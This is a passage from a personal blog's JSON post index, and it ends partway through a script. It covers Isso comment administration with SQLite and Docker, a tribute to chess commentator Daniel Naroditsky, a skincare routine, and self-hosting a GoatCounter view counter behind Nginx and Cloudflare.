comment on it. But it felt cool to have a comment section and also RSS for it. I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I\u0026rsquo;m happy with it! ^^\nAdmin note — Delete all Isso comments for a single post This note is for future me: how to remove every comment tied to one post in Isso.\nTested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.\nTL;DR (host with SQLite) Replace the placeholders for DB and POST_URI first.\n# 0) Variables — edit these two lines for your setup DB=\u0026#34;/var/lib/isso/comments.db\u0026#34; # path to your Isso SQLite DB (check isso.conf: [general] dbpath) POST_URI=\u0026#34;/posts/skin_routine/\u0026#34; # the post\u0026#39;s URI as stored by Isso (often just the path) # 1) Backup (always do this!) sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.backup \u0026#39;$(dirname \u0026#34;$DB\u0026#34;)/comments.$(date +%F-%H%M%S).backup.sqlite3\u0026#39;\u0026#34; # 2) Inspect: find the thread row and preview the comments sqlite3 \u0026#34;$DB\u0026#34; \u0026#34; .headers on .mode column SELECT id, uri FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; SELECT id, tid, created, author, text FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;) ORDER BY created DESC LIMIT 25; \u0026#34; # 3) Delete all comments for that post (thread) sqlite3 \u0026#34;$DB\u0026#34; \u0026#34; DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;); \u0026#34; # 4) (Optional) Remove the now-empty thread row too sqlite3 \u0026#34;$DB\u0026#34; \u0026#34; DELETE FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; VACUUM; \u0026#34; # 5) Done. Isso usually picks this up automatically. # If you\u0026#39;re containerized and want to be safe: # docker restart \u0026lt;isso_container_name\u0026gt; If running Isso in Docker Open a shell in the container, then run the same steps:\ndocker exec -it \u0026lt;isso_container_name\u0026gt; /bin/sh # Inside the container: DB=\u0026#34;/db/comments.db\u0026#34; # or /data/comments.db, check your image/volume mapping POST_URI=\u0026#34;/posts/skin_routine/\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.backup \u0026#39;/db/comments.$(date +%F-%H%M%S).backup.sqlite3\u0026#39;\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;SELECT id, uri FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;;\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;);\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; VACUUM;\u0026#34; exit # Optionally restart the container: docker restart \u0026lt;isso_container_name\u0026gt; Notes \u0026amp; gotchas Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: [general] dbpath = /var/lib/isso/comments.db What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it\u0026rsquo;s usually the path (/posts/\u0026lt;slug\u0026gt;/). If you’re unsure, list recent threads: sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.headers on\u0026#34; \u0026#34;.mode column\u0026#34; \u0026#34;SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;\u0026#34; Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those. Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again. HTTP API option: Isso supports DELETE /\u0026lt;comment_id\u0026gt; if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly. Safety: Always run a backup first, and preview with the SELECT before you run the DELETE. One-liners for the impatient DB=\u0026#34;/var/lib/isso/comments.db\u0026#34;; POST_URI=\u0026#34;/posts/skin_routine/\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.backup \u0026#39;$(dirname \u0026#34;$DB\u0026#34;)/comments.$(date +%F-%H%M%S).backup.sqlite3\u0026#39;\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;);\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; VACUUM;\u0026#34; Isso container: quick checks \u0026amp; fixes for future me! (thank past me later ^^)\nFind the container\ndocker ps -a --format \u0026#39;table {{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Ports}}\u0026#39; | grep -i isso Inspect basic state\ndocker inspect -f \u0026#39;Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}\u0026#39; isso Logs\ndocker logs --tail=200 isso docker logs -f isso Ports \u0026amp; reachability\ndocker port isso sudo ss -ltnp | grep \u0026#39;:8080 \u0026#39; curl -i http://127.0.0.1:8080/ Restart policy (keep it running)\ndocker inspect -f \u0026#39;{{.HostConfig.RestartPolicy.Name}}\u0026#39; isso docker update --restart unless-stopped isso Start/stop the container\ndocker start isso docker stop isso Who/what stopped it (events)\ndocker events --since 24h --filter container=isso Common config issue: duplicate options/sections If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).\nnl -ba /config/isso.cfg | sed -n \u0026#39;1,120p\u0026#39; grep -n \u0026#39;^\\[server\\]\u0026#39; /config/isso.cfg grep -n \u0026#39;^public-endpoint\u0026#39; /config/isso.cfg Using Docker Compose (run these in the directory with your compose file)\ndocker compose ps docker compose logs --tail=200 isso docker compose up -d isso If the container doesn’t exist (create/recreate)\ndocker image ls | grep -i isso docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest Optional: exclude from auto-updaters (like Watchtower)\ndocker update --label-add com.centurylinklabs.watchtower.enable=false isso This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM jSr2VxAAgdHpf\u0026#43;4EIx2ASmSB\u0026#43;MeAHp7s1\u0026#43;2EPhmn96QuhiQO9Dr1e9250LbF/R8S A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB dcG3GVLuMSRgNmyolhFoSWn46aa\u0026#43;3wZGrzYZQVUt8op\u0026#43;2fVp36agq2YoB4zeGKSm Ri43rO/kTingD0bclOA\u0026#43;SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo\u0026#43;gB6jY EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3\u0026#43;xSXSH W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK\u0026#43;szOmASy8fFP7gCOcCRATtb eNIFtiAlRXI0CqJdeq5fE9b\u0026#43;LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM KycaNwsLBHPZWV\u0026#43;jDon8NEzYQk07n1Q9rlEWdL0egvn2S\u0026#43;pYnvLZbfi5dRhe\u0026#43;ciC qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA= =9k\u0026#43;S -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/new_features.md curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc gpg --verify new_features.md.asc new_features.md ","permalink":"https://blog.alipour.eu/posts/comments-rss-papermod/","summary":"\u003cblockquote\u003e\n\u003cp\u003eShort story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.\u003cbr\u003e\nLonger story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.\u003c/p\u003e\u003c/blockquote\u003e\n\u003chr\u003e\n\u003cp\u003eI\u0026rsquo;ve been wanting to add comment section to my blog for a while.\nThere are a few problems.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eI don\u0026rsquo;t want to get attacked by bots or random people for no reason.\u003c/li\u003e\n\u003cli\u003eI don\u0026rsquo;t want to allow weird things to happen.\u003c/li\u003e\n\u003cli\u003eI don\u0026rsquo;t want to have a database for it.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo\u0026hellip; I decided to take a path which is not necesserially the best.\nIt requires a third party to act on your behalf, but it is not as scary as it sounds.\nAccording to Github:\u003c/p\u003e","title":"New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)"},{"content":"Daniel Naroditsky has passed away. I\u0026rsquo;ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. I like Fabi a lot, but my all-time favorite is Hikaru. Danya was my favorite commentator. Someone who was so fun to watch explaining complex positions. I think he was indeed, if not the best, one of the best at it.\nThe occasion is grim. However, let\u0026rsquo;s remember the immense pressure he was under. Let\u0026rsquo;s remember how he was accused of cheating by Kramnik many, many times. By a former world champion. Someone who has accused many and has ruined their lives for no reason. The likes of Hikaru!\nThe problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. I don\u0026rsquo;t know how to relate to any of these now. I do think this is some stupid, sad consequence that these baseless accusations have. All players have their exceptionally good days, and many many bad days. These accusations make no sense.\nI do think Danya went under so much pressure from these allegations, though. I don\u0026rsquo;t know if he ever cheated or not, but like, what\u0026rsquo;s the point now? He is gone. He\u0026rsquo;ll never be back.\nI don\u0026rsquo;t know what the cause was, but I hope he didn\u0026rsquo;t take his own life. I don\u0026rsquo;t know how the world will ever forgive FIDE or Kramnik for this. This bullying in plain sight is just brutal.\nRest in peace, Danya. I don\u0026rsquo;t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM jSpazRAAkvfyfZFtYRnSapnmBsWF\u0026#43;f6Sj42Cy5T5PFq6C\u0026#43;DdQdOq1VZjGComKjXv YqD4dkiBNsFXehp/DLUXxh\u0026#43;jvme1icBas5tZJooJX\u0026#43;ykhlDflRRheyz3k/3fpVV2 fo48rh5vV3cn1zDUZA2\u0026#43;XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O u6PH0hwDYvarj4RFEadIq2\u0026#43;vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS\u0026#43;7tS8RZnYMX9 BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2 eTnhxoMGldwPp4PKq3bGt6KrI2zN\u0026#43;P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c 9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV\u0026#43;1HyH/1flk/47szJXGZ6Gg\u0026#43; NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X xc7JMmK\u0026#43;AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8 zVuQEy3O7tkGShRjgnS\u0026#43;T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4= =BEoA -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/danya.md curl -fSLO https://blog.alipour.eu/sources/posts/danya.md.asc gpg --verify danya.md.asc danya.md ","permalink":"https://blog.alipour.eu/posts/danya/","summary":"\u003cp\u003eDaniel Naroditsky has passed away.\nI\u0026rsquo;ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus.\nI like Fabi a lot, but my all-time favorite is Hikaru.\nDanya was my favorite commentator.\nSomeone who was so fun to watch explaining complex positions.\nI think he was indeed, if not the best, one of the best at it.\u003c/p\u003e\n\u003cp\u003eThe occasion is grim.\nHowever, let\u0026rsquo;s remember the immense pressure he was under.\nLet\u0026rsquo;s remember how he was accused of cheating by Kramnik many, many times.\nBy a former world champion.\nSomeone who has accused many and has ruined their lives for no reason.\nThe likes of Hikaru!\u003c/p\u003e","title":"Danya"},{"content":"I don\u0026rsquo;t know how to answer the \u0026ldquo;why?\u0026rdquo; or \u0026ldquo;whyyyyy?\u0026rdquo; or even \u0026ldquo;why the f***?\u0026rdquo; I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said, \u0026ldquo;Knock on wood, you have good skin!\u0026rdquo;. So\u0026hellip; idk why I decided to take extra care of my skin, but I did!\nGenerally speaking, things like this make me feel good about myself. Like I\u0026rsquo;m doing something positive while not being tortured! It\u0026rsquo;s always fun to rub cream on your face or gently massage it. Even cleaning the face skin feels refreshing. Everything also smells nice!\nOh\u0026hellip; and yeah, idk why I\u0026rsquo;m not good at excercising, but I really like to do things like this! Weird. I should definitely start going to the gym and working out. It is needed for me.\nSo\u0026hellip; I decided to watch a few Youtube videos, and a guide about skin care for men. My routine is super simple! I have a face cleanser that I use first and wash my face with it. It always feels refreshing and nice to use it! I initially bought the CeraVe cleaner, but switched to \u0026ldquo;Jack Black Pure Clean Daily Facial Cleanser\u0026rdquo; after that one ended. The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. You don\u0026rsquo;t need to use the cleanser in the morning, but you should definitely use it at night. It\u0026rsquo;s ok to wash your face with water in the morning.\nThe next step for me is applying the toner. I use \u0026ldquo;NIVEA Derma Skin Clear Toner\u0026rdquo;. It smells really nice and is quite refreshing to apply to the skin! The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. I gently rub it and let it dry; no rinsing is required here.\nAfter this, I apply an exfoliant to exfoliate my skin. I\u0026rsquo;ve been using \u0026ldquo;Paula\u0026rsquo;s Choice Skin Perfecting 2% BHA Liquid Exfoliant\u0026rdquo; so far, but this time I got \u0026ldquo;BULLDOG Original Exfoliating Face Scrub for Purer Skin\u0026rdquo;. Haven\u0026rsquo;t used it yet, but Paula\u0026rsquo;s choice one is definitely good. The thing with it is that you don\u0026rsquo;t have to massage it; it\u0026rsquo;s not physical; it\u0026rsquo;s an acid. I prefer the scrubby ones, but I think these are better for your skin. I\u0026rsquo;ll see how I like the new one, and if I prefer it or not. No rinsing is required here either.\nI then apply my eye cream, which is also from CeraVe. Haven\u0026rsquo;t really seen much of a difference under my eyes, but it is supposed to help. I don\u0026rsquo;t know! It feels good to apply the eye cream regardless.\nThe next step for me is the best one! Moisturiser. Yayy!!! It actually feels weird to use a moisturiser since I\u0026rsquo;ve watched Mortuary Assisant\u0026rsquo;s gameplay, and the last step there for embalming the body is applying moisturiser. Feels weird. The one I use is water-based, hence perfect for men. I use \u0026ldquo;Neutrogena Hydro Boost Aqua Gel Moisturiser\u0026rdquo;. As a man, if you use oil-based products, you\u0026rsquo;ll get acne. So don\u0026rsquo;t.\nI learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^\nAnd\u0026hellip; last but not least is applying sun screen. Nothing special here. I just make sure to use SPF 50+ sunscreen for better protection.\nEven if it does nothing, it still makes me feel good about myself.\nThe whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk\u0026#43;LTcJ1EXmED HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu\u0026#43;tEpgIY8fSXzIb/gsUb/K3vZb JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi 2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor\u0026#43;NAYKJmC veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9 48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi 8yk4/W4ASJfrE5ns\u0026#43;PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H\u0026#43;1E04P1uVHj102RXV7HFfYYDv59b suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX 1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA= =dBAx -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md curl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md.asc gpg --verify skin_routine.md.asc skin_routine.md ","permalink":"https://blog.alipour.eu/posts/skin_routine/","summary":"\u003cp\u003eI don\u0026rsquo;t know how to answer the \u0026ldquo;why?\u0026rdquo; or \u0026ldquo;whyyyyy?\u0026rdquo; or even \u0026ldquo;why the f***?\u0026rdquo; I have a skin routine.\nLast year, after I came to Germany, I asked a female friend about how to do skin care.\nShe touched my face and said, \u0026ldquo;Knock on wood, you have good skin!\u0026rdquo;.\nSo\u0026hellip; idk why I decided to take extra care of my skin, but I did!\u003c/p\u003e\n\u003cp\u003eGenerally speaking, things like this make me feel good about myself.\nLike I\u0026rsquo;m doing something positive while not being tortured!\nIt\u0026rsquo;s always fun to rub cream on your face or gently massage it.\nEven cleaning the face skin feels refreshing.\nEverything also smells nice!\u003c/p\u003e","title":"Skin routine"},{"content":"I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.\nThe thing is, I don\u0026rsquo;t think the counter even works correctly. Or maybe I\u0026rsquo;m undermining my blog popularity! But regardless, it was a small stiching task that I did on this lovely Friday evening. The day before my next term of German class starts. The day before playing deadface CTF that I\u0026rsquo;ve been counting days for.\nThe neat footer row First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:\n\u0026lt;div class=\u0026#34;site-meta-row\u0026#34; style=\u0026#34;display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;/index.xml\u0026#34; rel=\u0026#34;alternate\u0026#34; type=\u0026#34;application/rss+xml\u0026#34; title=\u0026#34;RSS\u0026#34; class=\u0026#34;rss-link\u0026#34; style=\u0026#34;display:inline-flex;align-items:center;gap:.35rem;\u0026#34;\u0026gt; { partial \u0026#34;svg.html\u0026#34; (dict \u0026#34;name\u0026#34; \u0026#34;rss\u0026#34;) } \u0026lt;span\u0026gt;RSS\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span id=\u0026#34;busuanzi_container_site_pv\u0026#34;\u0026gt; Site views: \u0026lt;span id=\u0026#34;busuanzi_value_site_pv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span id=\u0026#34;busuanzi_container_site_uv\u0026#34;\u0026gt; Visitors: \u0026lt;span id=\u0026#34;busuanzi_value_site_uv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.\nThe first round of checks I added the script site‑wide in layouts/partials/extend_head.html:\n\u0026lt;script src=\u0026#34;//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js\u0026#34; defer\u0026gt;\u0026lt;/script\u0026gt; Refreshed. Still blank.\nDevTools time. Network tab: the script does load:\nRequest URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js Request Method: GET Status Code: 304 Not Modified Referrer Policy: strict-origin-when-cross-origin User-Agent: a normal Chromium build (nothing exotic) No red flags. Just a perfectly normal 304.\nMaybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… —.\nThe odd message Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:\n“域名过长,已被禁用 views”\nThat’s “domain name too long, disabled.” Wait, what?\nI checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.\nTwo ways out At this point I had two clean options:\nKeep Busuanzi and move the site to the apex domain (short enough). Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit. I liked the subdomain (habit, mostly), so I tried Vercount.\nThe swap (five-minute fix) I removed the Busuanzi script and added Vercount instead:\n\u0026lt;!-- extend_head.html --\u0026gt; \u0026lt;script defer src=\u0026#34;https://events.vercount.one/js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; I kept the same tidy footer row, but switched the IDs to Vercount’s:\n\u0026lt;div class=\u0026#34;site-meta-row\u0026#34; style=\u0026#34;display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;/index.xml\u0026#34; rel=\u0026#34;alternate\u0026#34; type=\u0026#34;application/rss+xml\u0026#34; title=\u0026#34;RSS\u0026#34; class=\u0026#34;rss-link\u0026#34; style=\u0026#34;display:inline-flex;align-items:center;gap:.35rem;\u0026#34;\u0026gt; { partial \u0026#34;svg.html\u0026#34; (dict \u0026#34;name\u0026#34; \u0026#34;rss\u0026#34;) } \u0026lt;span\u0026gt;RSS\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span\u0026gt;Site views: \u0026lt;span id=\u0026#34;vercount_value_site_pv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span\u0026gt;Visitors: \u0026lt;span id=\u0026#34;vercount_value_site_uv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; For per‑post counts (in the post meta), I added:\n\u0026lt;span id=\u0026#34;vercount_value_page_pv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt; views Deploy. Refresh. Numbers.\nBut if you want to stay with Busuanzi… If your apex domain is short enough, pointing the site there works fine. The gist:\nSet baseURL in Hugo to the apex:\nbaseURL = \u0026#34;https://alipourimjourneys.ir/\u0026#34; Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).\nKeep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.\nPost‑mortem checklist (a.k.a. things I learned) If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule. Busuanzi refuses long hostnames (\u0026gt;22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note. Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount). CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin. Happy ending Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.\nIf you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.\nFinal notes Yea\u0026hellip; I just felt this feature was missing, and it\u0026rsquo;s good to have it there. I hope I stop adding things to the blog, and just keep writing in it. I\u0026rsquo;ve spent too much time on it, and it feels like wasted time.\nChange of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion) This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.\n1) Clean up old counters (optional, once) # From your Hugo site root grep -RinE \u0026#34;busuanzi|vercount|vercount_value_|busuanzi_value_\u0026#34; . Remove any matching \u0026lt;script\u0026gt; and leftover *_value_* spans you no longer want.\n2) Run GoatCounter with Docker Compose Minimal docker-compose.yml in ~/goatcounter:\nservices: goatcounter: image: arp242/goatcounter:2.6 container_name: goatcounter ports: - \u0026#34;127.0.0.1:8081:8080\u0026#34; # bind only to localhost; nginx will proxy volumes: - goatcounter-data:/home/goatcounter/goatcounter-data restart: unless-stopped volumes: goatcounter-data: {} Start:\ndocker compose pull \u0026amp;\u0026amp; docker compose up -d Initialize the site (replace email if needed):\ndocker compose exec goatcounter goatcounter db create site -vhost=statsblog.alipourimjourneys.ir -user.email=iman.alip2001@gmail.com If you ever see “no site at this domain” on localhost: use the exact vhost above.\n3) Cloudflare + Origin certificate (CF → origin TLS) DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange). SSL/TLS mode: Full (strict). Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server: sudo mkdir -p /etc/ssl/cloudflare sudo nano /etc/ssl/cloudflare/origin.crt # paste PEM sudo nano /etc/ssl/cloudflare/origin.key # paste key sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key} sudo chmod 644 /etc/ssl/cloudflare/origin.crt sudo chmod 600 /etc/ssl/cloudflare/origin.key 4) Nginx vhost for the stats subdomain # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf server { listen 80; server_name statsblog.alipourimjourneys.ir; return 301 https://$host$request_uri; } server { listen 443 ssl http2; server_name statsblog.alipourimjourneys.ir; ssl_certificate /etc/ssl/cloudflare/origin.crt; ssl_certificate_key /etc/ssl/cloudflare/origin.key; # Proxy to the container on localhost proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; location / { proxy_pass http://127.0.0.1:8081; } } Enable \u0026amp; reload:\nsudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/ sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx 5) Hugo integration (clearnet + onion, singular/plural + “0 views”) Self‑host count.js so the onion mirror never fetches a third‑party script:\nSave the official count.js as static/js/count.js in your Hugo repo. Then add this to layouts/partials/extend_head.html (loader + helper):\n\u0026lt;!-- Loader: choose endpoint based on hostname --\u0026gt; \u0026lt;script\u0026gt; (function () { var ONION = /\\.onion$/i.test(location.hostname); window.goatcounter = { endpoint: ONION ? \u0026#39;/count\u0026#39; : \u0026#39;https://statsblog.alipourimjourneys.ir/count\u0026#39; }; var s = document.createElement(\u0026#39;script\u0026#39;); s.async = true; s.src = \u0026#39;/js/count.js\u0026#39;; document.head.appendChild(s); })(); \u0026lt;/script\u0026gt; \u0026lt;!-- Helper: inline meta counts (post pages + lists) and totals --\u0026gt; \u0026lt;script\u0026gt; (function () { const ONION = /\\.onion$/i.test(location.hostname); const GC_HOST = ONION ? \u0026#39;\u0026#39; : \u0026#39;https://statsblog.alipourimjourneys.ir\u0026#39;; // \u0026#39;\u0026#39; = same-origin on .onion const SING=\u0026#39;view\u0026#39;, PLUR=\u0026#39;views\u0026#39;; const nf = new Intl.NumberFormat(); function ready(fn){ if (document.readyState !== \u0026#39;loading\u0026#39;) fn(); else document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, fn); } function gcPath(){ try { return (window.goatcounter \u0026amp;\u0026amp; window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } } async function fetchCount(path){ try { const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:\u0026#39;omit\u0026#39; }); if (r.status === 404) return 0; if (!r.ok) throw 0; const j = await r.json(); const n = 